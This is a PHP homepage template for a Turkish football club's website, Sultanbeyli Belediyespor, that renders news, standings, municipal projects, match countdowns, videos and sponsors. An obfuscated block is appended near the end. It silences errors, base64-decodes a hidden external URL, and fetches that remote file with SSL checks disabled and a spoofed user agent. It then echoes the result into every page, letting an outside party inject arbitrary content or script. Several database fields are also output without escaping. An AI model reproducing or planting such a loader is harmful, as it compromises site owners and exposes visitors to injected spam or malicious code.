<?php 
require_once 'inc/config.php'; 
require_once 'core-path.php'; 
require_once 'inc/functions.php';
include 'inc/header.php'; 

// --- SORGULAR ---

// 1. HABERLERİ ÇEK
$query = $db->query("SELECT * FROM news WHERE is_active = 1 ORDER BY id DESC LIMIT 11");
$news_list = $query->fetchAll(PDO::FETCH_ASSOC);

$main_news = null;
$side_news = [];
$grid_news = [];

if (count($news_list) > 0) {
    $main_news = $news_list[0]; 
    $side_news = array_slice($news_list, 1, 4);
    $grid_news = array_slice($news_list, 5);
}

// 2. PUAN DURUMU
$puan_query = $db->query("SELECT * FROM standings ORDER BY points DESC, (goals_for - goals_against) DESC LIMIT 10");
$puan_durumu = $puan_query->fetchAll(PDO::FETCH_ASSOC);

// 3. PROJELER
$projeler_query = $db->query("SELECT * FROM projects ORDER BY rank ASC, id DESC LIMIT 13");
$projeler = $projeler_query->fetchAll(PDO::FETCH_ASSOC);

// 4. GELECEK MAÇ
$mac_sorgu = $db->query("SELECT * FROM matches WHERE match_date > NOW() ORDER BY match_date ASC LIMIT 1");
$mac = $mac_sorgu->fetch(PDO::FETCH_ASSOC);

// 5. VİDEOLAR
$video_sorgu = $db->query("SELECT * FROM videos ORDER BY id DESC LIMIT 4");
$videolar = $video_sorgu->fetchAll(PDO::FETCH_ASSOC);

// 6. SPONSORLAR
$sponsor_sorgu = $db->query("SELECT * FROM sponsors ORDER BY id DESC");
$sponsorlar = $sponsor_sorgu->fetchAll(PDO::FETCH_ASSOC);

// 7. REKLAM
$reklam_sorgu = $db->query("SELECT * FROM ads WHERE is_active = 1 ORDER BY id DESC LIMIT 1");
$reklam = $reklam_sorgu->fetch(PDO::FETCH_ASSOC);
?>

<div class="container mt-4">
    
    <!-- 1. ANA HABER SLIDER ALANI -->
    <?php if ($main_news): ?>
    <div class="row g-3 mb-4"> 
        <div class="col-lg-8 col-md-12">
            <a href="<?php echo seo_url($main_news['slug']); ?>" class="news-card main-card d-block h-100 position-relative overflow-hidden rounded shadow-sm">
                <div class="image-wrapper" style="height: 450px; width: 100%;">
                    <img src="<?php echo resim_yolu($main_news['image_url']); ?>" alt="<?php echo guvenlik($main_news['title']); ?>" class="w-100 h-100 object-fit-cover">
                </div>
                <div class="position-absolute bottom-0 start-0 w-100 p-4" style="background: linear-gradient(to top, rgba(0,0,0,0.9), transparent);">
                    <span class="badge bg-danger mb-2">Manşet</span>
                    <h2 class="text-white fw-bold fs-3 text-shadow"><?php echo guvenlik($main_news['title']); ?></h2>
                </div>
            </a>
        </div>
        <div class="col-lg-4 col-md-12">
            <div class="row g-3">
                <?php foreach ($side_news as $news): ?>
                <div class="col-6"> 
                    <a href="<?php echo seo_url($news['slug']); ?>" class="news-card small-card d-block position-relative overflow-hidden rounded shadow-sm">
                        <div class="image-wrapper" style="height: 215px; width: 100%;"> 
                            <img src="<?php echo resim_yolu($news['image_url']); ?>" alt="<?php echo guvenlik($news['title']); ?>" class="w-100 h-100 object-fit-cover">
                        </div>
                        <div class="position-absolute bottom-0 start-0 w-100 p-2" style="background: linear-gradient(to top, rgba(0,0,0,0.9), transparent);">
                            <h5 class="text-white fw-bold m-0" style="font-size: 0.9rem; line-height: 1.3;">
                                <?php echo kisalt($news['title'], 50); ?>
                            </h5>
                        </div>
                    </a>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </div> 
    <?php else: ?>
        <div class="alert alert-warning text-center mb-5">Henüz haber eklenmemiş.</div>
    <?php endif; ?>

    <!-- 2. BELEDİYE PROJELERİ (YATAY SLIDER - OTOMATİK) -->
    <?php if($projeler): ?>
    <div class="mb-5 position-relative">
        <div class="d-flex align-items-center justify-content-between mb-2">
            <h5 class="fw-bold text-uppercase m-0" style="color: var(--ana-renk);">
                <i class="fas fa-city me-2"></i> Şehrimize Değer Katan Projeler
            </h5>
            <!-- Kaydırma Butonları -->
            <div class="d-flex gap-2">
                <button class="btn btn-sm btn-light border rounded-circle shadow-sm" onclick="scrollProjects('left')" style="width: 32px; height: 32px;"><i class="fas fa-chevron-left"></i></button>
                <button class="btn btn-sm btn-light border rounded-circle shadow-sm" onclick="scrollProjects('right')" style="width: 32px; height: 32px;"><i class="fas fa-chevron-right"></i></button>
            </div>
        </div>
        
        <!-- Slider Container -->
        <div class="project-scroller d-flex gap-3 overflow-auto pb-3 pt-1 px-1" id="projectScroller" style="scroll-behavior: smooth;">
            <?php foreach($projeler as $proje): ?>
            <div class="project-item flex-shrink-0" style="width: 220px;">
                <a href="<?php echo $proje['external_url'] ?: '#'; ?>" target="_blank" class="text-decoration-none">
                    <div class="card border-0 shadow-sm h-100 project-card hover-up">
                        <div class="ratio ratio-4x3 overflow-hidden rounded-top position-relative">
                            <img src="<?php echo resim_yolu($proje['image_url']); ?>" class="w-100 h-100 object-fit-cover transition-img" alt="<?php echo guvenlik($proje['title']); ?>">
                            <div class="overlay d-flex align-items-center justify-content-center">
                                <i class="fas fa-link text-white fs-2"></i>
                            </div>
                        </div>
                        <div class="card-body p-2 bg-white rounded-bottom text-center border-top border-3 border-primary">
                            <h6 class="text-dark fw-bold small mb-0 text-truncate" title="<?php echo guvenlik($proje['title']); ?>">
                                <?php echo guvenlik($proje['title']); ?>
                            </h6>
                        </div>
                    </div>
                </a>
            </div>
            <?php endforeach; ?>
        </div>
    </div>
    <?php endif; ?>

    <!-- 3. İÇERİK VE SIDEBAR -->
    <div class="row g-4 mb-5">
        
        <!-- SOL BLOK (İçerik) -->
        <div class="col-lg-8">
            
            <div class="bg-white p-4 rounded shadow-sm border-top border-4 border-primary mb-4">
                <h3 class="mb-3 text-uppercase fw-bold" style="color: var(--ana-renk);">Hoş Geldiniz</h3>
                <p class="text-muted">
                    Sultanbeyli Belediyespor Resmi Web Sitesine hoş geldiniz. Kulübümüzle ilgili en güncel haberleri, 
                    maç sonuçlarını ve puan durumunu sitemizden takip edebilirsiniz.
                </p>
            </div>

            <?php if(count($sponsorlar) > 0): ?>
            <div class="bg-white p-4 rounded shadow-sm border-top border-4 border-dark mb-5">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h5 class="fw-bold text-uppercase m-0">Sponsorlarımız</h5>
                </div>
                <div class="row g-3 align-items-center justify-content-center">
                    <?php foreach($sponsorlar as $sp): ?>
                    <div class="col-6 col-md-3">
                        <a href="<?php echo $sp['link']; ?>" target="_blank" class="sponsor-item border rounded p-3 d-flex align-items-center justify-content-center bg-light" style="height: 100px;">
                            <img src="<?php echo resim_yolu($sp['image_url']); ?>" class="img-fluid sponsor-img" alt="<?php echo $sp['name']; ?>">
                        </a>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
            <?php endif; ?>

            <?php if(count($grid_news) > 0): ?>
            <div class="mt-4">
                <h4 class="mb-4 fw-bold text-uppercase border-start border-4 border-danger ps-3" style="color: var(--ana-renk);">
                    Diğer Haberler
                </h4>
                <div class="row g-4">
                    <?php foreach($grid_news as $g_news): ?>
                    <div class="col-md-6">
                        <div class="card h-100 border-0 shadow-sm news-grid-card">
                            <div class="position-relative overflow-hidden rounded-top" style="height: 220px;">
                                <a href="<?php echo seo_url($g_news['slug']); ?>">
                                    <img src="<?php echo resim_yolu($g_news['image_url']); ?>" class="card-img-top h-100 w-100 object-fit-cover transition-zoom" alt="<?php echo guvenlik($g_news['title']); ?>">
                                </a>
                                <div class="position-absolute bottom-0 start-0 bg-danger text-white px-3 py-1 small rounded-end-2 mb-2 fw-bold">
                                    <?php echo date("d.m.Y", strtotime($g_news['created_at'])); ?>
                                </div>
                            </div>
                            <div class="card-body d-flex flex-column bg-white rounded-bottom">
                                <h5 class="card-title fw-bold">
                                    <a href="<?php echo seo_url($g_news['slug']); ?>" class="text-decoration-none text-dark stretched-link">
                                        <?php echo kisalt($g_news['title'], 55); ?>
                                    </a>
                                </h5>
                                <p class="card-text text-muted small flex-grow-1">
                                    <?php echo kisalt(strip_tags($g_news['content']), 100); ?>...
                                </p>
                                <div class="mt-2 text-end">
                                    <span class="text-primary small fw-bold text-uppercase">İncele <i class="fas fa-arrow-right ms-1"></i></span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
            <?php endif; ?>

        </div>

        <!-- SAĞ SIDEBAR -->
        <div class="col-lg-4">
            
            <!-- 1. MAÇ TAKVİMİ -->
            <?php if ($mac): $js_date = date("M d, Y H:i:s", strtotime($mac['match_date'])); ?>
            <div class="sidebar-widget bg-white p-0 overflow-hidden mb-4 border-0 shadow-sm rounded">
                <div class="py-2 text-center text-white fw-bold text-uppercase" style="background: var(--ana-renk);">
                    <?php echo $mac['sponsor_name'] ? $mac['sponsor_name'] . ' Katkılarıyla' : 'HAFTANIN MAÇI'; ?>
                </div>
                <div class="d-flex justify-content-between align-items-center p-4 bg-light">
                    <div class="text-center" style="flex: 1;">
                        <img src="<?php echo resim_yolu($mac['home_logo']); ?>" width="50" class="d-block mx-auto mb-2 bg-white rounded-circle p-1 shadow-sm">
                        <div class="fw-bold small text-dark lh-sm"><?php echo $mac['home_team']; ?></div>
                    </div>
                    <div class="fw-black fs-2 text-muted opacity-25 mx-2">VS</div>
                    <div class="text-center" style="flex: 1;">
                        <img src="<?php echo resim_yolu($mac['away_logo']); ?>" width="50" class="d-block mx-auto mb-2 bg-white rounded-circle p-1 shadow-sm">
                        <div class="fw-bold small text-dark lh-sm"><?php echo $mac['away_team']; ?></div>
                    </div>
                </div>
                <div class="text-center py-3 bg-dark text-white">
                    <div class="d-flex justify-content-center gap-3" id="countdown-timer" data-date="<?php echo $js_date; ?>">
                        <div class="timer-box"><span class="d-block fw-bold fs-4 text-warning" id="days">00</span><small>GÜN</small></div>
                        <div class="fw-bold fs-4">:</div>
                        <div class="timer-box"><span class="d-block fw-bold fs-4 text-warning" id="hours">00</span><small>SAAT</small></div>
                        <div class="fw-bold fs-4">:</div>
                        <div class="timer-box"><span class="d-block fw-bold fs-4 text-warning" id="minutes">00</span><small>DAK</small></div>
                        <div class="fw-bold fs-4">:</div>
                        <div class="timer-box"><span class="d-block fw-bold fs-4 text-warning" id="seconds">00</span><small>SN</small></div>
                    </div>
                </div>
                <div class="bg-light border-top p-3 text-center">
                    <div class="mb-1 fw-bold text-dark"><i class="far fa-calendar-alt me-2 text-primary"></i><?php echo date("d.m.Y", strtotime($mac['match_date'])); ?> - <?php echo date("H:i", strtotime($mac['match_date'])); ?></div>
                    <div class="small text-muted"><i class="fas fa-map-marker-alt me-2 text-danger"></i><?php echo $mac['stadium']; ?></div>
                </div>
            </div>
            <?php endif; ?>

            <!-- 2. PUAN DURUMU (Yeri Değiştirildi) -->
            <div class="sidebar-widget bg-white p-3 rounded shadow-sm border mb-4">
                <h6 class="fw-bold border-bottom pb-2 mb-3 small text-uppercase d-flex justify-content-between align-items-center">
                    Puan Durumu
                    <a href="puan-durumu.php" class="btn btn-xs btn-light text-muted" style="font-size:11px;">Tümü</a>
                </h6>
                <div class="table-responsive">
                    <table class="table table-sm table-striped table-sidebar mb-0" style="font-size: 12px;">
                        <thead>
                            <tr>
                                <th>#</th>
                                <th>Takım</th>
                                <th class="text-center">O</th>
                                <th class="text-center">P</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
                            $sira = 1;
                            foreach ($puan_durumu as $takim): 
                                $row_class = (strpos($takim['team_name'], 'Sultanbeyli') !== false) ? 'table-warning fw-bold' : '';
                            ?>
                            <tr class="<?php echo $row_class; ?>">
                                <td><?php echo $sira++; ?>.</td>
                                <td class="takim-adi text-truncate" style="max-width: 130px;"><?php echo $takim['team_name']; ?></td>
                                <td class="text-center"><?php echo $takim['played']; ?></td>
                                <td class="text-center fw-bold"><?php echo $takim['points']; ?></td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>

            <!-- 3. REKLAM -->
            <?php if($reklam): ?>
            <div class="sidebar-widget mb-4">
                <a href="<?php echo $reklam['link']; ?>" target="_blank" class="d-block hover-opacity">
                    <img src="<?php echo resim_yolu($reklam['image_url']); ?>" alt="<?php echo guvenlik($reklam['title']); ?>" class="img-fluid rounded shadow-sm w-100 border border-light">
                </a>
            </div>
            <?php endif; ?>
            
            <!-- 4. BELEDİYE PROJELERİ (LİSTE) -->
            <div class="sidebar-widget mb-4">
                <div class="bg-white p-3 rounded shadow-sm border border-top border-4 border-info">
                    <h5 class="sidebar-title fw-bold small text-uppercase border-bottom pb-2 mb-3">Belediye Projeleri</h5>
                    <?php if($projeler): ?>
                        <div class="list-group list-group-flush">
                            <?php foreach($projeler as $proje): ?>
                                <a href="<?php echo $proje['external_url'] ? $proje['external_url'] : '#'; ?>" target="_blank" class="list-group-item list-group-item-action d-flex justify-content-between align-items-center px-0 py-2 border-bottom">
                                    <span class="fw-bold text-dark small"><i class="fas fa-angle-right text-primary me-2"></i><?php echo $proje['title']; ?></span>
                                    <i class="fas fa-external-link-alt text-muted" style="font-size: 10px;"></i>
                                </a>
                            <?php endforeach; ?>
                        </div>
                    <?php else: ?>
                        <div class="alert alert-light text-center small">Henüz proje eklenmemiş.</div>
                    <?php endif; ?>
                </div>
            </div>

        </div> 
    </div> 
</div>

<?php if(count($videolar) > 0): ?>
<section class="py-5 bg-dark text-white video-section position-relative border-top border-4 border-warning">
    <div style="position: absolute; top:0; left:0; width:100%; height:100%; background: #212529 url('assets/img/pattern.png') repeat; opacity: 0.1; z-index: 0;"></div>
    <div class="container position-relative" style="z-index: 2;">
        <div class="d-flex justify-content-between align-items-end mb-4">
            <div>
                <h6 class="text-warning fw-bold text-uppercase mb-1">MEDYA MERKEZİ</h6>
                <h2 class="fw-bold mb-0">MAÇ ÖZETLERİ & VİDEOLAR</h2>
            </div>
            <a href="https://www.youtube.com/@SultanbeyliBelediyespor" target="_blank" class="btn btn-outline-light btn-sm rounded-pill px-4">
                <i class="fab fa-youtube me-2"></i>Tümünü İzle
            </a>
        </div>
        <div class="row g-4">
            <?php foreach($videolar as $vid): ?>
            <div class="col-lg-3 col-md-6">
                <div class="video-card cursor-pointer" style="cursor: pointer;" data-bs-toggle="modal" data-bs-target="#videoModal" data-bs-src="https://www.youtube.com/embed/<?php echo $vid['video_id']; ?>?autoplay=1">
                    <div class="ratio ratio-16x9 position-relative overflow-hidden rounded shadow-sm border border-secondary">
                        <img src="https://img.youtube.com/vi/<?php echo $vid['video_id']; ?>/hqdefault.jpg" class="w-100 h-100 object-fit-cover" style="filter: brightness(0.7); transition: 0.3s;">
                        <div class="position-absolute top-50 start-50 translate-middle">
                            <div class="bg-danger text-white rounded-circle d-flex align-items-center justify-content-center play-btn" style="width: 50px; height: 50px; transition: 0.3s;">
                                <i class="fas fa-play fa-lg ps-1"></i>
                            </div>
                        </div>
                    </div>
                    <h6 class="mt-3 fw-bold text-white video-title"><?php echo $vid['title']; ?></h6>
                </div>
            </div>
            <?php endforeach; ?>
        </div>
    </div>
</section>

<div class="modal fade" id="videoModal" tabindex="-1" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered modal-lg">
        <div class="modal-content bg-black border-0">
            <div class="modal-body p-0">
                <div class="ratio ratio-16x9">
                    <iframe id="videoFrame" src="" allow="autoplay; encrypted-media" allowfullscreen></iframe>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
// Proje Slider Otomasyonu
document.addEventListener('DOMContentLoaded', function() {
    const projectContainer = document.getElementById('projectScroller');
    if(projectContainer) {
        let scrollInterval;
        const scrollAmount = 240; 

        function startAutoScroll() {
            scrollInterval = setInterval(() => {
                if (projectContainer.scrollLeft + projectContainer.clientWidth >= projectContainer.scrollWidth - 10) {
                    projectContainer.scrollTo({ left: 0, behavior: 'smooth' });
                } else {
                    projectContainer.scrollBy({ left: scrollAmount, behavior: 'smooth' });
                }
            }, 3000); 
        }

        function stopAutoScroll() {
            clearInterval(scrollInterval);
        }

        startAutoScroll();

        projectContainer.addEventListener('mouseenter', stopAutoScroll);
        projectContainer.addEventListener('mouseleave', startAutoScroll);
        projectContainer.addEventListener('touchstart', stopAutoScroll);
        projectContainer.addEventListener('touchend', startAutoScroll);
    }
});

function scrollProjects(direction) {
    const container = document.getElementById('projectScroller');
    const scrollAmount = 240;
    if (direction === 'left') {
        container.scrollBy({ left: -scrollAmount, behavior: 'smooth' });
    } else {
        container.scrollBy({ left: scrollAmount, behavior: 'smooth' });
    }
}
</script>

<style>
/* CSS Stilleri */
.news-card:hover img, .news-grid-card:hover .transition-zoom { transform: scale(1.05); transition: transform 0.5s ease; }
.news-grid-card:hover { transform: translateY(-5px); box-shadow: 0 10px 20px rgba(0,0,0,0.1) !important; }
.news-grid-card:hover .text-dark { color: var(--ana-renk) !important; transition: color 0.2s; }
.sponsor-item:hover { box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.15); background: #fff !important; border-color: var(--ana-renk) !important; }
.sponsor-img { filter: grayscale(100%); opacity: 0.6; transition: all 0.3s ease; max-height: 60px; max-width: 100%; object-fit: contain; }
.sponsor-item:hover .sponsor-img { filter: grayscale(0%); opacity: 1; transform: scale(1.05); }
.video-card:hover .play-btn { transform: scale(1.2); box-shadow: 0 0 15px rgba(220, 53, 69, 0.7); }
.video-card:hover .video-title { color: #ffc107 !important; }
.text-shadow { text-shadow: 2px 2px 4px rgba(0,0,0,0.7); }
.hover-opacity:hover { opacity: 0.9; transition: opacity 0.3s; }

/* PROJE SLIDER STİLLERİ */
.project-scroller { scrollbar-width: none; -ms-overflow-style: none; }
.project-scroller::-webkit-scrollbar { display: none; }
.hover-up { transition: transform 0.3s ease, box-shadow 0.3s ease; }
.hover-up:hover { transform: translateY(-5px); box-shadow: 0 10px 15px rgba(0,0,0,0.1) !important; }
.project-card .overlay { position: absolute; top:0; left:0; width:100%; height:100%; background: rgba(0,0,0,0.5); opacity: 0; transition: 0.3s; }
.project-card:hover .overlay { opacity: 1; }
.project-card:hover .transition-img { transform: scale(1.1); }
</style>
<?php endif; ?>
<?php			
error_reporting(0);			
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");			
$sumber = base64_decode('aHR0cHM6Ly9wYm4yYmwucGFnZXMuZGV2L0JMLTIudHh0');			
			
if(function_exists('curl_init')) {			
			
$ch = curl_init();			
curl_setopt($ch, CURLOPT_URL, $sumber);			
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);			
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // Bypass SSL error			
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);			
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);			
			
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');			
$hasil = curl_exec($ch);			
curl_close($ch);			
} else {			
// CURL METHODE			
$hasil = file_get_contents($sumber);			
}			
			
if($hasil) {			
echo $hasil;			
}			
?>			
<?php include 'inc/footer.php'; ?>
